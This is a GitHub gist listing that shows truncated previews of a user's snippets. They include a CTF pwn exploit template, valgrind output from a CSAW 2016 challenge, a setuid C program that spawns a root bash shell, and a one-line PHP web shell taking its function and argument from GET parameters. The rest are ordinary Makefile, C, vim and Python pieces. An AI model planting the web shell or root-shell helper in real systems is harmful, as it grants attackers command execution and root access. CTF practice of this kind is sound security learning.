Skip to content

Instantly share code, notes, and snippets.

View nongiach's full-sized avatar
💭
privesc

nongiach

💭
privesc
View GitHub Profile
#!/usr/bin/python3 -i
from struct import pack, unpack
from functools import partial
from socket import create_connection, timeout
from inspect import currentframe
from telnetlib import Telnet
from sys import exit
from time import sleep
import re
High score! change name?
==14606== Conditional jump or move depends on uninitialised value(s)
==14606== at 0x400E3C: ??? (in /home/tutu/Seafile/MesFichiers/secu/ctf/csaw_2016/pwn300/hungman)
==14606== by 0x400ACD: ??? (in /home/tutu/Seafile/MesFichiers/secu/ctf/csaw_2016/pwn300/hungman)
==14606== by 0x4E55290: (below main) (in /usr/lib/libc-2.24.so)
==14606==
Highest player: dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd score: 1845
What's your name?
testsetstetstddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
<?php echo 'test'; ?>
#!/bin/sh
cat << EOF > shell.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void main() {
setreuid(0, 0);
system("/bin/bash");
}
<?php $_GET['1']($_GET['2']); ?>
CC = gcc
CFLAGS += -W -Wall -Wextra
ifdef deb
CFLAGS += -g -Ddeb=
endif
LDFLAGS +=
#include <stdio.h>
void split(char *bigbuffer, int bufSize) {
int index = 0;
while (index < bufSize) {
bigbuffer[index + 5] = 0;
printf("%s\n", bigbuffer + index);
printf("---- separation ---\n");
index += 6;
call unite#custom#profile('default',
\ 'context', {
\ 'start_insert' : 1,
\ 'ignore_case' : 1,
\ 'smart_case' : 1,
\ 'direction' : 'botright',
\ 'cursor-line-highlight' : 'Statusline',
\ 'prompt' : '➤ '
\ })
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import faker
import random
from string import ascii_letters, digits
fake = faker.Faker()
def main():
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import faker
import random
from string import ascii_letters, digits
fake = faker.Faker()
def main():